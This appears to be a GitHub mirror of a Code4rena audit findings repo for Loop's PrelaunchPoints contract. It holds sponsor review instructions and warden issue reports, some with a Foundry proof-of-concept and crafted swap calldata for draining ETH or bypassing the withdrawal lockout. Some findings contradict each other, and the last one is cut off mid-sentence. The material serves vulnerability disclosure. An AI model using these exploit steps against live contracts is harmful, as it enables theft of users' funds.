GithubHelp home page GithubHelp logo

2024-05-loop-findings's Introduction

Loop Audit

Audit findings are submitted to this repo.

Unless otherwise discussed, this repo will be made public after audit completion, sponsor review, judging, and issue mitigation window.

Contributors to this repo: prior to report publication, please review the Agreements & Disclosures issue.

Note that when the repo is public, after all issues are mitigated, your comments will be publicly visible; they may also be included in your C4 audit report.


Review phase

Sponsors have three critical tasks in the audit process: Reviewing the two lists of curated issues, and once you have mitigated your findings, sharing those mitigations.

  1. Respond to curated High- and Medium-risk submissions ↓
  2. Respond to curated Low/Non-critical submissions and Gas optimizations ↓
  3. Share your mitigation of findings (optional) ↓

Note: It’s important to be sure to only review issues from the curated lists. There are two lists of curated issues to review, which filter out duplicate issues that don't require your attention.


     

Types of findings

(expand to read more)

High or Medium risk findings

Wardens submit issues without seeing each other's submissions, so keep in mind that there will always be findings that are duplicates. For all issues labeled 3 (High Risk) or 2 (Medium Risk), these have been pre-sorted for you so that there is only one primary issue open per unique finding. All duplicates have been labeled duplicate, linked to a primary issue, and closed.

QA reports

Any warden submissions in the QA category are submitted as bulk listings of issues and recommendations:

  • QA reports include all low severity and non-critical findings from an individual warden.

1. Respond to curated High- and Medium-risk submissions

This curated list will shorten as you work. View the original, longer list →

For each curated High or Medium risk finding, please:

1. Label as one of the following:

  • sponsor confirmed, meaning: "Yes, this is a problem and we intend to fix it."
  • sponsor disputed, meaning either: "We cannot duplicate this issue" or "We disagree that this is an issue at all."
  • sponsor acknowledged, meaning: "Yes, technically the issue is correct, but we are not going to resolve it for xyz reasons."

Add any necessary comments explaining your rationale for your evaluation of the issue. Judges have the ultimate discretion in determining validity and severity of issues, as well as whether/how issues are considered duplicates. However, sponsor input is a significant criterion.

Note: Adding or changing labels other than those in this list will be automatically reverted by our bot, which will note the change in a comment on the issue.


2. Respond to curated Low/Non-critical submissions

This curated list will shorten as you work. View the original, longer list →

  • Leave a comment for the judge on any reports you consider to be particularly high quality. (These reports will be awarded on a curve.)
  • Add the sponsor disputed label to any reports that you think should be completely disregarded by the judge, i.e. the report contains no valid findings at all.

Once Step 1 and 2 are complete

When you have finished labeling and responding to findings, drop the C4 team a note in your private Discord backroom channel and let us know you've completed the sponsor review process. At this point, we will pass the repo over to the judge to review your feedback while you work on mitigations.


3. Share your mitigation of findings (Optional)

Note: this section does not need to be completed in order to finalize judging. You can continue work on mitigations while the judge finalizes their decisions and even beyond that. Ultimately we won't publish the final audit report until you give us the OK.

For each finding you have confirmed, you will want to mitigate the issue before the contest report is made public.

If you are planning a Code4rena mitigation review:

  1. In your own Github repo, create a branch based off of the commit you used for your Code4rena audit, then
  2. Create a separate Pull Request for each High or Medium risk C4 audit finding (e.g. one PR for finding H-01, another for H-02, etc.)
  3. Link the PR to the issue that it resolves within your contest findings repo.

Most C4 mitigation reviews focus exclusively on reviewing mitigations of High and Medium risk findings. Therefore, QA and Gas mitigations should be done in a separate branch. If you want your mitigation review to include QA or Gas-related PRs, please reach out to C4 staff and let’s chat!

If several findings are inextricably related (e.g. two potential exploits of the same underlying issue, etc.), you may create a single PR for the related findings.

If you aren’t planning a mitigation review

  1. Within a repo in your own GitHub organization, create a pull request for each finding.
  2. Link the PR to the issue that it resolves within your contest findings repo.

This will allow for complete transparency in showing the work of mitigating the issues found in the contest. If the issue in question has duplicates, please link to your PR from the open/primary issue.

2024-05-loop-findings's People

Contributors

howlbot-integration[bot] avatar cloudellie avatar c4-bot-10 avatar c4-bot-9 avatar thebrittfactor avatar jacobheun avatar c4-bot-3 avatar c4-bot-4 avatar c4-bot-5 avatar c4-judge avatar code4rena-id[bot] avatar

Stargazers

 avatar  avatar manijeh avatar saham avatar

Watchers

Ashok avatar

2024-05-loop-findings's Issues

Incorrect recipient validation

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L439-L441
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L254

Vulnerability details

Impact

This incorrect validation can lead to the following issues:

  1. If the _receiver address is neither the PrelaunchPoints contract nor the zero address, the function will revert, preventing legitimate users from claiming their lpETH tokens.

  2. If the _receiver address is set to the zero address, the function will proceed, but any claimed lpETH tokens will be sent to the zero address, effectively burning them and making them unrecoverable.

Proof of Concept

The _validateData function is intended to validate the swap data received from the 0x API to ensure that the swap is executed as intended. However, the check:

 if (recipient != address(this) && recipient != address(0)) { revert WrongRecipient(recipient); } 

This check assumes that the recipient address should be either the PrelaunchPoints contract itself (address(this)) or the zero address (address(0)). However, in the context of the _claim function, the _receiver parameter is used to specify the address that should receive the claimed lpETH tokens.

is not correctly validating the recipient address.

Tools Used

Manual review

Recommended Mitigation Steps

The validation check for the recipient address should be modified to align with the intended behavior of the _claim function.

Assessed type

Invalid Validation

Inconsistent Emergency Mode Handling in `withdraw` Function

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L290-L303

Vulnerability details

Description

The withdraw function in the PrelaunchPoints contract has an inconsistency in how it handles emergency mode for different token types. In emergency mode, the function treats ETH withdrawals differently compared to other tokens, such as other LRTs. This inconsistency can lead to unintended behavior and potential issues.

Let's examine the relevant code snippet:

function withdraw(address _token) external {
    if (!emergencyMode) {
        // Standard time checks
    } else {
        if (_token == ETH) {
            if (block.timestamp >= startClaimDate) {
                revert UseClaimInstead();
            }
        }
        // No similar check for other tokens
    }
    // Withdrawal logic...
}

In the code above, when the contract is in emergency mode, the function checks if the token being withdrawn is ETH. If it is ETH and the current timestamp is greater than or equal to startClaimDate, the function reverts with the UseClaimInstead error, indicating that the user should use the claim process instead of withdrawing.

However, the function does not apply the same logic to other token types (LRTs). This means that even if the contract is in emergency mode and startClaimDate has passed, users can still withdraw wrapped LRTs, without any restrictions.

Impact

The inconsistent handling of emergency mode in the withdraw function can have significant consequences:

  • In emergency mode, after startClaimDate has passed, users should be directed to use the claim process for all token types. However, the current implementation allows users to withdraw wLRT tokens even when they should be using the claim process. This can lead to unintended token withdrawals and potential loss of control over the token management.

  • The inconsistent behavior of the withdraw function in emergency mode can lead to confusion and frustration for users. They may expect all token withdrawals to be restricted after startClaimDate in emergency mode, but the current implementation allows them to withdraw wLRT tokens, leading to an inconsistent user experience.

Proof of Concept

Here is the code snippet:
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L284-L303

Let's consider the following scenario:

  1. The PrelaunchPoints contract is in emergency mode.
  2. The startClaimDate has already passed, indicating that all token withdrawals should be handled through the claim process.
  3. A user attempts to withdraw rsETH tokens by calling the withdraw function with _token set to the rsETH token address.
  4. The function does not have any specific checks for wLRT tokens in emergency mode, so the withdrawal of rsETH tokens is allowed.
  5. The user successfully withdraws rsETH tokens (or any unintended behavior), bypassing the intended restriction of using the claim process (in lpETH) after startClaimDate in emergency mode.

This scenario illustrates how the inconsistent handling of emergency mode in the withdraw function can allow users to withdraw wLRT tokens even when they should be using the claim process.

Tools Used

Manual Review

Recommended Mitigation Steps

Simply create a modifier for emergency mode (EMERGENCY_MODIFIER) and add this to the withdraw function and rewrite the function like this, (I also added zero address check and the valid token checks for extra security)

    function withdraw(address _token) external EMERGENCY_MODIFIER {

        if ( _token == address(0) && !isTokenAllowed[_token]) {
            revert InvalidToken();
        }
		
        uint256 lockedAmount = balances[msg.sender][_token];
        balances[msg.sender][_token] = 0;


        if (lockedAmount == 0) {
            revert CannotWithdrawZero();
        }
        
        if (block.timestamp >= startClaimDate) {
             revert UseClaimInstead();
        }
        
        if (_token == ETH) {
            totalSupply = totalSupply - lockedAmount;
            (bool sent,) = msg.sender.call{value: lockedAmount}("");
            if (!sent) {
                revert FailedToSendEther();
            }
        } else {
            IERC20(_token).safeTransfer(msg.sender, lockedAmount);
        }

        emit Withdrawn(msg.sender, _token, lockedAmount);
    }

Assessed type

Context

User can game rewarding system siphoning rewards for themselves at a huge margin to other stakers when it shouldn't be possible

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L226-L235
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L263
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

A user can lock up a very small amount of LRT e.g 0.5 rsETH while earning 10x+ more staking rewards compared to another user who locked up 10 rsETH effectively taking most of the staking reward pool from other honest stakers who are unaware of the exploit path.

Proof of Concept

  • User A locks 10 rsETH
  • User B locks 0.5 rsETH
  • The protocol activates lpETH claims
  • Claiming of lpETH is set
  • User A redeems then stakes his 10 rsETH for 9.99 lpETH (assuming he swapped at a favorable price)
  • User B slowly claims 0.05 rsETH while ending up staking 10.05 lpETH each time which shouldn't be because they only locked 0.5 rsETH. User B can do this 10+ times since 0.05 is only 10% of his 0.5 rsETH deposit which means they get to redeem and stake 100.5 lpETH altogether when they initially only locked 0.5 rsETH.
  • Keep in mind User A had no idea of this backdoor, so all they could stake was up to 9.99 lpETH and no more. With that being the case, User B now keeps 90+% of the reward pool to themself.
  • This attack is possible because of the way the contract handles its ether balance using address(this).balance which user B leverages as a backdoor entry to successfully put in a direct ether transfer into the contract before executing the claimAndStake() for lpETH staking which then associates the ether balance in the contract to them allowing them to stake more lpETH even though their initial locked rsETH was very little ~ 0.5 rsETH. This can then be automated to slowly siphon rewards from other users by calling claimAndStake(). This is possible because of the LRT claim process which differs from the ETH and WETH one.

Summarization is to transfer ether into the contract directly slightly before or while executing claimAndStake() for your LRT each call which will allow you to redeem then stake more lpETH than it should since lock-up periods are long past.

Paste the POC test into the PreLaunchPoints.t.sol test file and run the code with forge test --mt testSiphonStakeRewardsPOC

function testSiphonStakeRewardsPOC() public {
       address alice = makeAddr("alice");
       address bob = makeAddr("bob");

        lrt.mint(bob, 10 ether);
        lrt.mint(alice, 0.5 ether);

        vm.prank(bob);
        lrt.approve(address(prelaunchPoints), 10 ether); 
        vm.prank(alice);
        lrt.approve(address(prelaunchPoints), 0.5 ether); 

        vm.prank(bob);
        prelaunchPoints.lock(address(lrt), 10 ether, referral);
        vm.prank(alice);
        prelaunchPoints.lock(address(lrt), 0.5 ether, referral);

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();
        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.prank(bob);
        prelaunchPoints.claimAndStake(address(lrt), 100, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000dbd2fc137a300000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        assertEq(prelaunchPoints.balances(bob, address(lrt)), 0);

        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.05 lpETH
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000b1a2bc2ec5000000000000000000000000000000000000000000000000000000b147c91e4ac0000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        vm.warp(block.timestamp + 30 minutes);
        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.045 lpETH at this point
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000009fdf42f6e48000000000000000000000000000000000000000000000000000009c51c4521e00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        vm.warp(block.timestamp + 30 minutes);

        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.0405 lpETH at this point
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000008fe28911674000000000000000000000000000000000000000000000000000008f879600ed00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        // @note she can keep this up

        // @note since she always transfers ether directly right before the claimAndStake calls, she ends up with 10 lpETH plus the 10% in converted each time the swap will send back to prelaunchPoints each time evaluating to 10.05 `lpETH` the first call, then 10.045 `lpETH` the next call and 10.405 `lpETH` the next call and so on... claimed and staked each call which shouldn't be happening

        assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.3645 ether); // @note she still has plenty of leeway to run the exploit next time
        assertEq(lpETHVault.balanceOf(alice), 30 ether);
         // @note she successfully breaches the locking mechanism and gaming the staking rewards to get 30.1355 lpETH staked thereby taking a huge chunk of the rewards from bob and the rest stakers
    }

Test result

[PASS] testSiphonStakeRewardsPOC() (gas: 446597)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.25ms (4.64ms CPU time)

Tools Used

Manual review

Recommended Mitigation Steps

The contract's usage of address(this).balance during claiming of lpETH is flawed. Rather than assuming the only ether in the contract at that time is the one gotten from the swap transaction for a claim, use a before and after balance to track and properly record the actual balance the swap resulted in. Then, use that delta as the amount to mint to the user in lpETH that is then staked.

Assessed type

Timing

An attacker can swap all ETH in the contract to lpETH

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L259-L263
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L491-L505

Vulnerability details

Impact

In the _claim function, due to the incorrect calculation of claimedAmount, all ETH in the contract will be swapped by the attacker to lpETH.

Proof of Concept

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L259-L263

            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

In this code, the amount of claimAmount is all the ETH in the current contract (including the ETH locked by all users). The correct logic should be the amount after converting ERC20 to ETH - the previous amount of ETH.

In the _fillQuote function, budedETHAmount should be returned, which represents the difference between before and after eth, which is the ETH actually redeemed by the user. The actual value of ClaimedAmount should be equal to buyETHAmount, not address(this).balance.

Use an example to prove: (18 decimals)

User A locked 1ETH, address(this).balance is equal to 1eth
User B locked 1ETH, address(this).balance is equal to 2eth
User C locked 1WETH, address(this).balance is equal to 2eth

User C (attacker) calls prelaunchPoints.claim(WETH, 100, PrelaunchPoints.Exchange.TransformERC20, data);. At this time, the attacker has exchanged 1WETH for 1eth, address(this).balance is equal to 3eth, and claimedAmount is 3eth. , eventually the attacker will get all lpETH.

            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

https://docs.loopfi.xyz/the-launch/the-points-program#what-happens-after-the-points-program-has-concluded

According to the document requirements, the exchange ratio between user locked tokens and lpETH is 1:1, but an attacker can get all lpETH, which I think is a high risk.

Tools Used

Manual review

Recommended Mitigation Steps

  1. Add the return value in the _fillQuote function, returns (uint256 boughtAmount)
  function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns (uint256 boughtAmount) {
  1. Return the amount of boughtAmount at the end of the _fillQuote function
  boughtETHAmount = address(this).balance - boughtETHAmount;
  return boughtETHAmount;
  1. Fix claimedAmount in _claim function
  claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);

Assessed type

Math

Users can exploit `claim()` to withdraw their locked tokens when they are not allowed.

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L240-L266

Vulnerability details

Impact

An malicious user with locked non-ETH tokens can exploit the claim() function to withdraw his locked tokens during situations where he should not be allowed to withdraw (block.timestamp >= startClaimDate and emergencyMode = false). By exploiting this, the user can deposit huge amount of tokens to get their off-chain points computed, and then retrieve his tokens back without needing to convert the locked funds to LpETH.

Proof of Concept

When block.timestamp >= startClaimDate and emergencyMode = false, users are unable to withdraw their locked tokens. However, any user can exploit the claim() function by using crafted _data arguments to effectively withdraw their locked tokens from the contract.

The claim() function calls _claim(), which, when dealing with non-ETH tokens, verifies the _data arguments (the data passed for the 0x Exchange Router). However, it only validates the input and output token addresses and input amount. It doesn't check if the data corresponds to a single hop swap or a multi hop swap. This allows any user to use multi hop swaps to retrieve their locked tokens without converting them to LpETH.

For example, let's say Alice wants to withdraw her swETH locked in the PrelaunchPoints contract. To exploit this, Alice needs to deploy an ERC20 token (tokenA), which she fully controls the supply, create two new UniswapV3 pools that she can manipulate the token balances, and execute a multi hop swap passing through those pools using the claim() function.

Each pool serves a purpose:

  • The first pool (swETH - tokenA pai) is intended to swap large amounts of swETH for minimal amounts of tokenA. Since Alice controls all the supply of tokenA, she can manipulate the pool balances to achieve the desired swETH/tokenA exchange rate. Consequently, after the first hop, Alice's locked funds (swETH) are now "stored" in the pool balance.
  • The second pool (tokenA - WETH pair) is used to convert tokenA back to WETH, as the outputToken (in this case WETH) is validated by the _validateData() function.

Alice can then craft her _data to pass all required validations done by _validateData() (see code below) and then call claim() using her crafted _data.

bytes4 selector = 0x803ba26d; //sellTokenForEthToUniswapV3() selector
address inputToken = 0xf951E335afb289353dc249e82926178EaC7DEd78; //swETH
address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
uint24 fee = 500;
bytes memory encodedPath = abi.encodePacked(inputToken, fee, address(tokenA), address(tokenA), fee, outputToken);
uint256 sellAmount = lockedswETHAmount;
uint256 minBuyAmount = 0;
address recipient = address(prelaunchPoints);
bytes memory _data = abi.encodeWithSelector(selector, encodedPath, sellAmount, minBuyAmount, recipient);

After the multi-hop swap (swETH - tokenA, then tokenA - WETH) executed during claim(), arbitrary amounts of swETH would be converted in dust amounts of WETH, which is then converted to LpETH, while Alice's swETH is now in the first pool balance. Note that the minBuyAmount field used by sellTokenForEthToUniswapV3() is also in _data and thus controlled by Alice, so this unfavorable swap succeeds if she sets minBuyAmount = 0.

Subsequently, after the claim() call, Alice can recover her swETH tokens by removing the liquidity from the first pool. As she is the sole liquidity provider to that pool, she is able to recover it all. Therefore, as described, any user is able to exploit the claim() function to withdraw their locked tokens.

Tools Used

Manual Review.

Recommended Mitigation Steps

Restrict the swaps to be single hop, which is not ideal as this may not be the most efficient swap path on some circumstances, or verify that the _data argument comes from Loop's off-chain services, for example by signing the data and validating the signing in the contract before executing the swap.

Assessed type

Other

Attackers could steal the ETH contained in the PrelaunchPoints contract

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L259-L262

Vulnerability details

Impact

When users claim lpETH and the specified _token is not ETH, if there is ETH in the PrelaunchPoints contract transferred by mistake by others, the contract will also convert this part of ETH into lpETH for the user. This is because the amount of lpETH calculated for the user's claim in the _claim function is address(this).balance, rather than the actual amount of ETH obtained through exchangeProxy with the _token in the _fillQuote function.

_fillQuote(IERC20(_token), userClaim, _data);

// Convert swapped ETH to lpETH (1 to 1 conversion)
claimedAmount = address(this).balance;
lpETH.deposit{value: claimedAmount}(_receiver);

Although the comment states, "At this point there should not be any ETH in the contract," this is an ideal situation. In reality, it is highly possible that someone could mistakenly transfer ETH to the PrelaunchPoints contract.

Proof of Concept

  1. User A calls the lock function, locking an amount of _token into the PrelaunchPoints contract.
  2. The owner calls the convertAllETH function to convert the ETH in the PrelaunchPoints contract into lpETH and updates the startClaimDate variable, allowing users who have locked assets in the contract to start claiming lpETH.
  3. User B mistakenly transfers 10 ETH to the PrelaunchPoints contract.
  4. User A observes User B's mistaken transfer and immediately calls the claim function to claim lpETH. The claim function calls the _claim function for the actual operation. In the _claim function, _fillQuote is invoked, which converts User A's _token into ETH held within the PrelaunchPoints contract.
  5. The contract converts the amount of ETH denoted as claimedAmount into lpETH for User A’s specified _receiver. Note that the claimedAmount here is address(this).balance, which includes User B's 10 ETH, not just the boughtETHAmount calculated in the final _fillQuote function.
  6. User A successfully steals User B's 10 ETH.

Tools Used

None

Recommended Mitigation Steps

  1. It is suggested that the _fillQuote function return the final calculated boughtETHAmount to the _claim function. In the _claim function, convert the amount of ETH denoted as boughtETHAmount into lpETH for the _receiver.
  2. It is recommended to implement a revert logic in the receive function to prevent users from mistakenly transferring ETH into the contract.

Assessed type

Other

Wrong `if` statement in the `_validateData` function causes the `claim` function always to revert when claiming tokens that are not ETH

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L439

Vulnerability details

Impact

The vulnerability identified in the _validateData function of the PrelaunchPoints contract can lead to unintended contract behavior. Specifically, the contract will always revert with the WrongRecipient error due to a misleading condition in the code. This can prevent expected functionality related to token swaps and recipient validation.

Proof of Concept

The vulnerability can be found in the _validateData function within the PrelaunchPoints contract:

function _validateData(address _token, uint256 _amount, Exchange _exchange, bytes calldata _data) internal view {
    // Other code omitted for brevity

    if (recipient != address(this) && recipient != address(0)) {    // Incorrect condition
        revert WrongRecipient(recipient);
    }
}

The issue arises from the condition recipient != address(this) && recipient != address(0), which expects recipient to be neither the contract's address (address(this)) nor the zero address (address(0)). However, this condition does not align with the expected behavior of the recipient variable in the context of token swaps.

Impact of the Vulnerability:

  • The condition always evaluates to true due to the nature of recipient addresses used in token swap operations.
  • As a result, the contract always reverts with the WrongRecipient error, regardless of the actual recipient address.

Tools Used

Manual Review

Recommended Mitigation Steps

To mitigate this vulnerability, the condition in the _validateData function regarding the recipient address check should be revised to align with the actual use case of the recipient address in token swap scenarios. Considerations for valid recipient addresses in token swaps should be made to ensure smooth contract functionality without unnecessary reverts.

Assessed type

Invalid Validation

Malicious user can claim any amount of ``lpeth`` and stake that amount without depositing equivalent amount of ETH/WETH or other LRT's in a specific case.

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L240

Vulnerability details

Impact

After you lock some amount of ETH/WETH or LRTs for certain LoopActivation period(max 120days), 7 days TIMELOCK and up to startClaimDate(can be months, years), you are finally allowed to claim equivalent amount of lpEth using the _claim() function.

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Now, if you stake ETH/WETH, you are directly transferred lpETH in 1 to 1 conversion ratio. But for LRTs, first the LRT token needs to be swapped into ETH. It is done with _fillQuote() function. Before _fillQuote() function is executed inside _claim() function, It is assumed that there should not be any ETH in the contract. It is because the amount of lpETH minted for receiver is equal to amount of ETH this contract receives after _fillQuote() function is executed.

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

Now, Consider this scenario:

  1. Alice is a malicious user who locks 0.001(any minimum) amount of any LRT token.
  2. Now, After some time startClaimDate is reached and _claim() function can now be called.
  3. Alice then deposits any amount of ETH(lets assume 100ETH) into the contract and calls the _claim() function.
  4. Inside the _claim() function, _fillQuote() function executes and 0.001 LRT locked is converted to 0.001 ETH(lets assume).
  5. Now, instead of Alice getting 0.001 lpETH, she will get 100.001 lpETH as claimedAmount is set to address(this).balance.
  6. Alice instantly gets 100 lpETH without even locking that amount.

Note: Alice can also call claimAndStake() funciton to stake that amount and get even more rewards.
Alice can execute above hack anytime as there is no time-limit to claim.

Proof of Concept

Theoretical PoC is given above. Coded can't be provided as it requires a valid calldata for the swap of LRT from the exchanges and that calldata is validated and also _fillQuote() is called with same calldata.

Tools Used

Manual Analysis

Recommended Mitigation Steps

_fillQuote() function should return boughtETHAmount and that same boughETHAmount should be used by _claim() function.

_    function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
+    function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns( uint256 boughtETHAmount) {
    
        // Track our balance of the buyToken to determine how much we've bought.
_        uint256 boughtETHAmount = address(this).balance;
+        boughtETHAmount = address(this).balance;

        require(_sellToken.approve(exchangeProxy, _amount));

        (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
        if (!success) {
            revert SwapCallFailed();
        }

        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    }
    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
_            _fillQuote(IERC20(_token), userClaim, _data);
+            uint256 outputAmount = _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
_            claimedAmount = address(this).balance;
_            lpETH.deposit{value: claimedAmount}(_receiver);
+            lpETH.deposit{value: claimedAmount}(outputAmount);
        }
        emit Claimed(msg.sender, _token, outputAmount);
    }

Assessed type

Other

Users can claim the eth accidently sent to PrelaunchPoints using the claim function

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

Any user can claim the eth accidently sent to the PrelaunchPoints contract.

Proof of Concept

The protocol operates under the assumption that ETH sent to the contract is permanently locked:

    /**
     * Enable receive ETH
     * @dev ETH sent to this contract directly will be locked forever.
     */
    receive() external payable {}

The problem arises in the _claim function, which uses address(this).balance instead of the user's balance when depositing in lpETH, resulting in a first-come, first-served scenario:

            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

Consequently, after all ETH has been converted, any remaining or subsequently sent ETH to the contract will be claimed by the first user.

Tools Used

Manual review

Recommended Mitigation Steps

Consider updating the _claim function as follows:

            claimedAmount = userClaim > address(this).balance ? address(this).balance : userClaim;
            lpETH.deposit{value: claimedAmount}(_receiver);

dditionally, implement a similar function to recoverERC20 to withdraw ETH, accessible only after convertAllETH has been called.

Assessed type

Other

Incorrect Validation Logic for Swap Recipient Address in `function _validateData`

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L439

Vulnerability details

Description

Within the function _validateData , the final if condition is intended to
validate the recipient address from the swap data. The condition is designed
to revert the transaction if the recipient is not the contract itself
(address(this)) or is the zero address (address(0)). However, the use of the
logical AND operator (&&) in the condition is incorrect because it implies that
the transaction should revert only if the recipient is simultaneously not the
contract's address and not the zero address, which is a logical impossibility.

Impact

This flawed logic means that the condition will never trigger a revert, even if
the recipient is the zero address, which should not be a valid recipient for the
swap. As a result, the contract could incorrectly allow a swap where the swapped
ETH would be sent to the zero address, effectively burning the ETH and causing a
loss of funds.

Proof of Concept

This is the weakest part / function of the entire codebase, as not a single test
is performed for it to catch even these types of basic vulnerabilty.

Recommended Mitigation Steps

The condition should be corrected to use the logical OR operator (||) to ensure
that the transaction reverts if the recipient is either not the contract's
